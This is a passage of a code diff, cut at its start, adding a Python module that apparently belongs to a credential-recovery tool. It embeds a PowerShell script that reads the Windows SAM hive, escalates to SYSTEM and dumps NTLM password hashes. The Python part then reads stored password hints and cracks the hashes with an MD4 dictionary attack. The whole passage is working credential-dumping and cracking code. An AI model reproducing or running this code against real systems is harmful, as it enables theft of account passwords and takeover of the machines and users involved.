-PassThru | + Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru + } + function DumpHashes + { + LoadApi + $bootkey = Get-BootKey; + $hbootKey = Get-HBootKey $bootkey; + Get-UserKeys | %{ + $hashes = Get-UserHashes $_ $hBootKey; + "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, + [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), + [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); + "`n" + } + } + if ([priv]::IsUserAnAdmin()) + { + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) + { + DumpHashes + } + else + { + ElevatePrivs + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) + { + DumpHashes + } + } + } + else + { + Write-Error "Administrator or System privileges necessary." + } +} + ''' + + return powershell_execute(script, function) + + def create_nthash(self, word): + generated_hash = hashlib.new('md4', word.encode('utf-16le')).digest() + return binascii.hexlify(generated_hash) + + def dictionaryAttack_Hash(self, _hash): + # check using a basic dictionary list and all passwords already found + for word in self.wordlist: + generated_hash = self.create_nthash(word) + if generated_hash == _hash: + return word + return False + + def get_password_hint(self): + + hints = [] + # To do For XP + # HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\{User} + + keyVal = r"SAM\\SAM\\Domains\\Account\\Users" + aKey = OpenKey(HKEY_LOCAL_MACHINE, keyVal) + + for i in range(1024): + try: + asubkey = EnumKey(aKey, i) + except: + break + + if asubkey == 'Names': + continue + + keyVal = 'UserPasswordHint' + subKey = OpenKey(aKey, asubkey) + try: + # Get username + v, _ = QueryValueEx(subKey, "V") + offset = int((struct.unpack('h', v[0x0c:0x0e]))[0] + 0xCC) + length = int((struct.unpack('h', v[0x10:0x12]))[0]) + username = v[offset: offset+length].decode('utf-16').encode('utf-8', errors='replace') + + # Get password hint + val, _ = QueryValueEx(subKey, "UserPasswordHint") + hint = val.decode('utf-16').encode('utf-8', errors='replace') + + hints.append({'Login': username, 'pwdHint': hint}) + + except Exception, e: + pass + + CloseKey(subKey) + + return hints + + def run(self, software_name = None): + pwdFound = [] + output = self.launch_powerdump() + password_hint = self.get_password_hint() + + values = {} + # Parse output + for line in output.split('\r\n'): + if line and line != '\n': + _pwd_hint = False + + _login, _hash = line.split(':', 1) + _rid, _hash = _hash.split(':', 1) + + values = {'Login': _login, 'Hash': _hash, 'Rid': _rid} + + for hint in password_hint: + if _login == hint['Login']: + _pwd_hint = hint['pwdHint'] + + if _pwd_hint: + values['Hint'] = _pwd_hint + + password = self.dictionaryAttack_Hash(_hash.split(':')[1]) + if password: + values['Password'] = password + + pwdFound.append(values) + + return pwdFound \ No newline at end of file